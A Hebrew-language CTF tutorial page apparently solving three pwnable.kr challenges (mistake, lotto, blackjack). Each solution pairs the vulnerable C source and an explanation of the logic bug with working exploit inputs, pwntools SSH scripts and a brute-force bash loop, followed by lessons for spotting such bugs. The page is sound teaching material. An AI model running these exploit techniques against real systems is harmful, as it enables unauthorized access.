לדלג לתוכן

1.2 באגים לוגיים והשוואות פתרון

פתרון - באגים לוגיים והשוואות

שלושת האתגרים נפתרים בלי לגעת בזיכרון בכלל. כל מה שצריך הוא לקרוא את קוד המקור, לזהות את הטעות הלוגית, ולתת קלט חוקי שמנצל אותה. נעבור על כל אחד עם ההסבר המלא, הפקודות והסקריפט.


פתרון תרגיל 1 - mistake

הקוד וזיהוי הבאג

הנה החלקים הרלוונטיים מ-mistake.c:

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }
    return 0;
}

הבאג נמצא בשורה if(fd=open(...) < 0). בגלל קדימות האופרטורים, < נדבק חזק יותר מ-=, ולכן הקומפיילר מפרש fd = (open(...) < 0). הקובץ נפתח ומקבל תיאור תקין (למשל 3), אבל (3 < 0) הוא 0, ולכן fd מקבל את הערך 0 - שהוא stdin.

התוצאה: השורה read(fd, pw_buf, PW_LEN) קוראת את "הסיסמה" לא מהקובץ, אלא מהקלט הסטנדרטי שלנו. אנחנו מספקים את pw_buf. ואת pw_buf2 אנחנו מספקים ממילא דרך ה-scanf. שני צדי ההשוואה בידיים שלנו.

בניית הקלט

ההשוואה הסופית היא strncmp(pw_buf, pw_buf2, 10) == 0, אבל לפניה מופעל xor(pw_buf2, 10) עם המפתח 1. כלומר צריך:

pw_buf[i] == (pw_buf2[i] XOR 1)   for every i in range 0..9

נבחר את pw_buf2 להיות עשרה תווי '0'. הערך של '0' הוא 0x30, ו-0x30 XOR 1 = 0x31, שהוא התו '1'. אז אחרי ה-XOR, pw_buf2 הופך לעשרה תווי '1'. לכן pw_buf צריך להיות עשרה תווי '1'.

צריך רק לשים לב לסדר הקריאה: ה-read הראשון בולע בדיוק 10 בתים מהקלט (אלה הולכים ל-pw_buf), ואילו ה-scanf("%10s") מדלג על רווח לבן וקורא את המילה הבאה (זה הולך ל-pw_buf2). לכן הקלט הוא: עשרה תווי '1', אחר כך תו שורה חדשה, אחר כך עשרה תווי '0'.

ההרצה

הדרך הפשוטה, ישירות בשורת הפקודה של השרת:

mistake@pwnable:~$ (python -c "print '1'*10 + '\n' + '0'*10") | ./mistake
do not bruteforce...
input password : Password OK
<flag content printed here>

או עם pwntools, מקומית מול עותק של הבינארי או דרך SSH:

from pwn import *

s = ssh('mistake', 'pwnable.kr', port=2222, password='guest')
p = s.process('./mistake')

p.sendline(b'1' * 10)      # 11 bytes; read consumes the first ten '1's -> pw_buf
p.sendline(b'0' * 10)      # scanf skips the \n and reads the ten '0's -> pw_buf2

p.recvuntil(b'input password : ')
print(p.recvall(timeout=3).decode(errors='replace'))

הפלט יכלול Password OK ואחריו את הדגל.

למה זה עבד ואיך להכליל

באג של תו אחד בטבלת הקדימות (= מול <) הפך את fd ל-stdin, ובכך העביר לידינו את השליטה גם על ה"סוד" שאיתו משווים. בכל פעם שאתם רואים תבנית x = f() < 0 או x = g() > 0 בלי סוגריים מפורשים - עצרו. סביר שהמתכנת התכוון ל-(x = f()) < 0, והערך שנשמר הוא בוליאני (0 או 1), לא מה שהוא חשב. כשהמשתמש שולט בשני צדי ההשוואה, האתגר כבר פתור.


פתרון תרגיל 2 - lotto

הקוד וזיהוי הבאג

החלק הרלוונטי מ-lotto.c:

unsigned char submit[6];

// ... inside play():
r = read(0, submit, 6);

int fd = open("/dev/urandom", O_RDONLY);
unsigned char lotto[6];
read(fd, lotto, 6);
for(i=0; i<6; i++){
    lotto[i] = (lotto[i] % 45) + 1;      // range 1..45
}
close(fd);

int match = 0, j = 0;
for(i=0; i<6; i++){
    for(j=0; j<6; j++){
        if(lotto[i] == submit[j]){
            match++;
        }
    }
}

if(match == 6){
    printf("Jackpot!\n");
    system("/bin/cat flag");
}
else{
    printf("bad luck...\n");
}

שני באגים משתלבים כאן:

  1. ניקוד לא תלוי-מיקום: הלולאה המקוננת משווה כל מספר מוגרל מול כל מספר שהגשנו, ומעלה את match בכל התאמה, בלי קשר למיקום. אם כל ששת הבתים שהגשנו זהים (כולם X), אז כל מספר מוגרל ששווה X מעלה את match ב-6 בבת אחת. כלומר match = 6 * (מספר המוגרלים ששווים ל-X). מספיק שמספר מוגרל אחד יהיה X, וכבר match == 6.

  2. טווח: המספרים המוגרלים הם 1 עד 45. אם נשלח בתים מחוץ לטווח (למשל תווי ASCII של ספרות, 0x31 עד 0x36 = 49 עד 54), הם לעולם לא יתאימו. חייבים לשלוח בתים גולמיים בטווח 1 עד 45.

ההגשה האופטימלית

נגיש שישה בתים זהים, כולם בערך 1 (\x01). למה 1? כי בגלל ה-% 45, הערכים 1 עד 31 יוצאים בהסתברות מעט גבוהה יותר מ-32 עד 45 (בית בטווח 0..255 ממופה לא-אחיד), אז ערך בטווח 1..31 מיטבי. יש עדינות: התנאי הוא match == 6 בדיוק, אז אנחנו מנצחים כשמספר מוגרל אחד בדיוק שווה 1. ההסתברות לזה היא בערך 12.5% לניסיון (כ-1 ל-8). לכן פשוט נלולל ניסיונות עד לזכייה.

חישוב מהיר שמאשר את ההסתברות:

import os
def trial(sub):
    lotto=[(b%45)+1 for b in os.urandom(6)]
    match=sum(1 for x in lotto for s in sub if x==s)
    return match==6
sub=[1]*6
wins=sum(trial(sub) for _ in range(200000))
print(wins/200000)     # ~0.125

הסקריפט

חשוב לגבי הקלט: התפריט קורא את הבחירה עם scanf("%d"), שנעצר בתו הלא-ספרתי הראשון ומשאיר אותו ב-buffer. אחריו read(0, submit, 6) קורא בתים גולמיים. לכן אם נשלח '1' ואחריו תו שורה חדשה, ה-\n (בית 0x0a) ייבלע כבית הראשון של ההגשה ויקלקל אותה. הפתרון: לשלוח את '1' ומיד אחריו את ששת הבתים הגולמיים, בלי שורה חדשה ביניהם. ה-scanf יקרא את ה-'1', ייעצר בבית 0x01, ואז ה-read יבלע את ששת הבתים הנכונים.

לולאת bash ישירות על השרת (לא דורשת pwntools):

lotto@pwnable:~$ while true; do
    out=$(printf '1\x01\x01\x01\x01\x01\x01' | ./lotto)
    echo "$out" | grep -q Jackpot && { echo "$out"; break; }
done

או עם pwntools דרך SSH:

from pwn import *

context.log_level = 'error'
s = ssh('lotto', 'pwnable.kr', port=2222, password='guest')

tries = 0
while True:
    tries += 1
    p = s.process('./lotto')
    p.recvuntil(b'Exit')                 # waiting for the menu
    p.send(b'1' + b'\x01' * 6)           # '1' for the menu, then 6 raw bytes, no \n
    out = p.recvall(timeout=3)
    p.close()
    if b'Jackpot' in out:
        success(out.decode(errors='replace'))
        log.info('won after %d attempts', tries)
        break

אחרי כמה ניסיונות (בממוצע כ-8) יופיע Jackpot! ואחריו הדגל.

למה זה עבד ואיך להכליל

הלולאה המקוננת הפכה את דרישת "6 התאמות במקומות הנכונים" ל"6 התאמות בסך הכל", והגשת ערכים זהים ניצלה בדיוק את זה - התאמה בודדת נספרת שש פעמים. תמיד חשדו בלולאת השוואה מקוננת שבודקת a[i] == b[j] על פני כל הזוגות; קרוב לוודאי שהכוונה הייתה השוואה במקום המקביל (a[i] == b[i]). ובכל אתגר שבו הקלט נקרא כבתים גולמיים אבל מושווה לטווח מספרי - ודאו שהבתים ששלחתם באמת נמצאים בטווח, ולא תווי ASCII.


פתרון תרגיל 3 - blackjack

הקוד וזיהוי הבאג

הפונקציה שקוראת את ההימור ב-blackjack.c בנויה כך (בקירוב לגרסה שרצה בשרת):

int betting()
{
    printf("\n\nEnter Bet: $");
    scanf("%d", &bet);

    if (bet > cash) {                    // upper-bound check only
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);               // the bug: reads again, returns without checking
        return bet;
    }
    else return bet;
}

המשתנה bet הוא int. הבדיקה היחידה היא bet > cash, כלומר גבול עליון. שתי חולשות נובעות מכך:

  • אין גבול תחתון: הימור שלילי עובר. אם מפסידים יד עם הימור שלילי, ה-cash מחוסר בערך שלילי, כלומר גדל.
  • הענף החוזר לא נבדק: כשמהמרים יותר מ-cash, ה-scanf השני קורא ערך חדש ומחזיר אותו בלי לבדוק שוב. אז בפרומפט הראשון נהמר סכום גדול מהמזומן כדי לעורר את הבקשה החוזרת, ובפרומפט השני נזין מספר ענק שיתקבל כמו שהוא.

אחרי שהימור ענק התקבל, מספיק לנצח יד אחת. לוגיקת הזכייה מבצעת cash = cash + bet, וה-cash מזנק מעל סף הזכייה שמדפיס את הדגל.

הדגמה מקומית של הבאג

כדי לראות את זה עובד בלי תלות בשרת, אפשר לשחזר את הליבה של הבאג בבינארי זעיר:

// bj_demo.c
#include <stdio.h>
int cash = 500, bet;

int betting(){
    printf("Enter Bet: $"); scanf("%d", &bet);
    if (bet > cash) {
        printf("You cannot bet more money than you have.\nEnter Bet: ");
        scanf("%d", &bet);              // no repeated check
        return bet;
    }
    return bet;
}

int main(){
    betting();
    cash += bet;                        // we won a hand
    if (cash >= 1000000) printf("You Won! cash=%d -> flag{...}\n", cash);
    else printf("cash=%d\n", cash);
    return 0;
}
$ gcc -w -o bj_demo bj_demo.c
$ printf '999999\n1000000\n' | ./bj_demo
Enter Bet: $You cannot bet more money than you have.
Enter Bet: You Won! cash=1000500 -> flag{...}

בפרומפט הראשון הזנו 999999 (גדול מ-500, אז מתקבלת הבקשה החוזרת), ובפרומפט השני 1000000 - שהתקבל בלי בדיקה. אחרי הזכייה cash הגיע ל-1000500 וחצה את הסף.

מול השרת האמיתי

בשרת התהליך זהה, פשוט מתובל בתוך משחק בלאק-ג'ק אמיתי:

  1. בפרומפט ההימור, הזינו סכום גדול מהמזומן שברשותכם (למשל 999999) כדי לעורר את ההודעה "You cannot bet more money than you have".
  2. בפרומפט החוזר, הזינו מספר ענק (למשל 1000000 או יותר).
  3. שחקו את היד עד לזכייה (קחו קלף, עצרו בזמן, ונצחו את הדילר). עם הימור ענק, זכייה אחת מספיקה כדי לחצות את סף הזכייה.
  4. הדגל מודפס כשה-cash עובר את הסף.

אם מעדיפים את הזווית של ההימור השלילי: הימרו סכום שלילי (עובר, כי אין גבול תחתון), הפסידו את היד, וה-cash יגדל במקום לקטון. שתי הזוויות מנצלות את אותה בדיקת גבולות חסרה.

למה זה עבד ואיך להכליל

השורש הוא בדיקת קלט חלקית: גבול עליון בלי גבול תחתון, ומסלול שגיאה שקורא ערך חדש ולא מוודא אותו מחדש. כלל אצבע: כל פעם שתוכנית מבקשת ערך שוב אחרי כשל אימות, בדקו אם היא בכלל מאמתת מחדש. ומספרים תמיד צריך לחסום משני הצדדים - גם עליון וגם תחתון - ולשקול חריגות (שלילי, אפס, גלישת int). בדיוק כאן חבויים באגים לוגיים בעולם האמיתי: חנויות, בנקים ומערכות תשלום שנפלו על "כמות שלילית" בעגלת הקניות.